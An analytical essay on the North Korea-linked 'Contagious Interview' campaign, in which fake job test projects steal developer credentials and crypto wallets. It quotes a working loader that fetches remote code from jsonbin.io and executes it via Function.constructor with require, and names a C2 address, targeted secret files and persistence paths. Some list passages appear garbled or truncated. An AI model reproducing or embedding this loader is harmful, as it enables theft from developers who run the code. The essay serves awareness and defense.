The hook. In one of the evening IT digests, a piece from Hacker News flashed by — an author from Germany told how his friend, a software engineer, fell for a "job offer" via LinkedIn from a real existing company. The test assignment — a TypeScript project with 180 files, Bitbucket, a gmail recruiter address, no calls. The friend ran npm run dev. Within 30 seconds, a full-fledged RAT landed on his machine with the theft of 28 crypto wallets, all browser credentials, and SSH keys. I was hooked — because behind this particular case lies a 30-year history of how trust embedded in engineering processes repeatedly turns into their own vulnerability.
1. Anatomy of the attack: "function-constructor as the gateway to hell". The author of the codedge.de piece published a fragment of malicious code — and it's worth breaking down line by line:
const initPriceConfig = async () => {
const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
const res = (await axios.get(`${src}`));
const handler = new (Function.constructor)('require', res.data.record.model);
if (handler) handler(require);
};
initPriceConfig();
Six lines. In them — five architectural decisions by the attacker. (1) Function.constructor — this is Function, obtained through a lookup property. In Node.js, new Function(args, body) compiles the body as code and returns a function — a complete equivalent of eval() in the context of module isolation. (2) The call is made at application startup (npm run dev / npm start always runs initPriceConfig()). (3) The payload comes from an external URL, not stored in the repository — so git clone and static analysis see nothing malicious except one axios.get. (4) require is passed into the compiled function — this is an elegant way to give the payload access to all built-in Node.js modules: child_process (shelling out), fs (reading files), net/https (own exfiltration channel), process.env (secrets). (5) Imitation of legitimacy: initPriceConfig — a function with a perfectly normal name, in a crypto project it sounds appropriate.
Next, the payload from jsonbin (24,686 characters of obfuscated JS through obfuscator.io) pulls the second stage from C2 server 147.189.174.138. Four modules deploy on the machine: an interactive RAT (node-pty + ssh2 + screenshot-desktop + clipboardy + nut-js), a browser credential stealer (Chrome/Edge/Brave/LT on all OSes + 28 wallets from MetaMask to Trust), a file grabber (searches for private key, secret phrase, metamask, bitcoin, solana, .env, .pem, .p12, .pfx, .ssh, .aws, .gnupg, .docker directories), and a clipboard monitor.
The author specifically emphasizes: the malware does not attempt privilege escalation. It runs under the user account — and that's enough. SSH keys, AWS credentials, wallets, .env — all of this by design belongs to the regular user, because otherwise it couldn't be used daily. cat ~/.ssh/id_rsa from a regular shell does exactly the same thing.
2. This is not an isolated case — this is Operation Contagious Interview. The name was given by MITRE: Group G1052, an attack campaign active since at least December 2022 and linked to North Korea (Lazarus, DeceptiveDevelopment, DEV#POPPER — several names for the same operation across different sources). Microsoft Defender Experts published a detailed breakdown on March 11, 2026. The key technique, per MITRE: T1684.001 (Impersonation) and T1204.005 (Malicious Library) — attackers convince the victim to download and run malicious code under the guise of a "test assignment".
Characteristic elements per Unit 42 (October 2024) and Microsoft (March 2026):
axios.get(...)..vscode/tasks.json. That is, the attacker found a way to deliver the payload even without explicit npm run dev.coremedia.sh and cloud.sh are used. For Windows — VBS script update.vbs and nvidia.js. Persistence — through .bat in Startup Folder (Windows), .desktop file in ~/.config/autostart/ (Linux), LaunchAgents (macOS).spawn with payload passed via stdin.3. Who's behind this — and why these are not "cybercriminals". Attribution leads to North Korea. Reuters (April 2025) reported that North Korean operators created fake American companies — Bitwise (through which the codedge.de attack went), Blocknovia, Softglide — to appear legitimate for LinkedIn recruiters. Fireblocks (January 2026) analyzed "Anatomy of Operation Contagious Interview": since 2024, over 1,300 fraudulent accounts have been blocked, over $300 million in cryptocurrency stolen. This is a state operation to obtain currency bypassing sanctions, not opportunistic crime. It has quarterly KPIs, and these KPIs are in dollars.
4. Parallels: 30 years of attacks on trusted engineering procedures. The Codedge attack of 2026 — this is not a new idea. This is repetition of the same pattern in different settings:
bitcoin-core and stole wallets. Architectural lesson: trust in the open-source ecosystem is trust in people no one verified.In each case they didn't rob the system — they robbed trust in the system.
5. Why now specifically, and why specifically through interviews. In 2024–2026, three changes occurred in IT that made the hiring attack optimal:
6. Why standard defenses don't work. The codedge author checked three lines of defense:
axios.get to a legitimate domain (jsonbin.io — a real service), doesn't see the response content. Claude Code and similar tools cannot statically detect dynamic code loading from an external resource.~/.ssh and ~/.aws. But codedge writes that for interview attacks, Docker is not just isolation, but a signal. Malware itself checks whether it's running in a VM/container (system_profiler, /proc/cpuinfo, greps for vmware, qemu, microsoft corporation). And tags the beacon with (VM) or (Local). Per MITRE T1497, a virtual machine gets lower operator priority but is not completely discarded: RAT and file grabber still work, VMs just less often contain real wallets.Microsoft recommendations (March 2026) go deeper: isolated interview environment should be mandatory, any recruiter-provided repo should undergo review before execution, "paste-and-run" commands should be classified as high-risk, secrets should be issued just-in-time, mfa + conditional access mandatory for source control / CI / cloud.
But all of this — defense on the employer side. From the candidate's side, there is no defense. The candidate physically cannot isolate themselves from the environment they work in if they work on their own laptop. The candidate cannot check 180 files in 30 minutes. The candidate cannot run malware in a sandbox without having a prepared VM at hand. The candidate trusts the process by construction — because otherwise hiring doesn't work.
7. Structural paradox. And here I get to what hooked me most strongly. Hiring is the only engineering process in which the participant must trust by the task's terms. In regular work, you receive code, read it, decide whether to run it or not. In hiring, code comes from a potential employer, and refusal to run = refusal to work. This is not a technical but a social-engineering problem: the vulnerability is not in the code and not in the process, but in the fact that the candidate has no legitimate position to doubt.
Microsoft formulated this correctly: "exploit the trust job seekers place in the hiring process during periods of high motivation and time pressure, lowering suspicion and resistance". High motivation is a precondition for the attack, not its side effect. That's precisely why the attack works on Web3 developers with wallets, not on corporate ERP developers: the former have higher motivation (fast remote work, options, crypto salaries), the latter — lower.
North Korean operators understand this. They don't try to hack Bitbucket (Bitbucket is not interesting) or npm (npm is infrastructure, not a target). They hit the most psychological point where the candidate cannot say "no": at the promise of work.
8. What struck me after I assembled all this together. When I started writing this piece, I thought I'd be talking about technique — about Function.constructor, about axios, about OtterCookie. But the deeper I dug, the clearer it became: technique here is secondary. Primary — the social architecture of hiring.
In each of the 30-year parallels — XcodeGhost, event-stream, SolarWinds, 3CX, xz-utils — attackers didn't use zero-days. They used trust built into the engineering procedure. The compiler is trusted by construction. An open-source maintainer is trusted by construction. Software updates are trusted by construction. A test assignment from an employer is trusted by construction. Each of these "trusted by construction" is an invariant of engineering culture that cannot be removed without breaking the culture itself.
This means defense cannot be purely technical. You can scan code with an AI assistant — but it doesn't see dynamic loading. You can isolate execution in Docker — but VM detection turns this into a filter, not defense. You can run in disposable Vagrant — but the RAT will still manage to exfil. The only defense that works is changing the social norm of hiring: "the candidate has the right to ask where the code comes from before running it", "recruiter-provided repository must undergo review", "the first contact is always a video call, not a text message".
But social norms change slowly. And the attackers' code — fast. And in this lies the main structural risk of 2026: state operations to obtain currency through IT hiring will continue as long as trust in hiring remains cheaper than verifying it.
Codedge at the end of their article writes: "You opened the door to hell while you just wanted to get a job". This is an accurate metaphor. But behind it lies a deeper truth: the door was always open. North Korean operators didn't break the lock. They found a door that must be open by the task's terms, and walked through it.
Sources: codedge.de "How to compromise your system with a job interview" (August 17, 2026, updated August 20, 2026); Microsoft Defender Experts "Contagious Interview: Malware delivered through fake developer job interviews" (March 11, 2026); MITRE Group G1052 "Contagious Interview" (updated October 19, 2025); Unit 42 "North Korean Threat Actors Lure Tech Industry Job Seekers" (October 9, 2024); Fireblocks "Anatomy of Operation Contagious Interview" (January 22, 2026); Reuters "North Korean cyber spies created U.S. firms to dupe crypto developers" (April 24, 2025); BleepingComputer "Fake job recruiters hide malware in developer coding challenges" (February 13, 2026); Sekoia "ClickFake Interview campaign by Lazarus" (March 31, 2025); Cybersecurity News "Fake Web3 Interview Uses Signed ClickOnce to Deploy NeedleStealer" (August 17, 2026); Palo Alto Networks "Novel Malware XcodeGhost Modifies Xcode" (September 17, 2015) — historical parallel.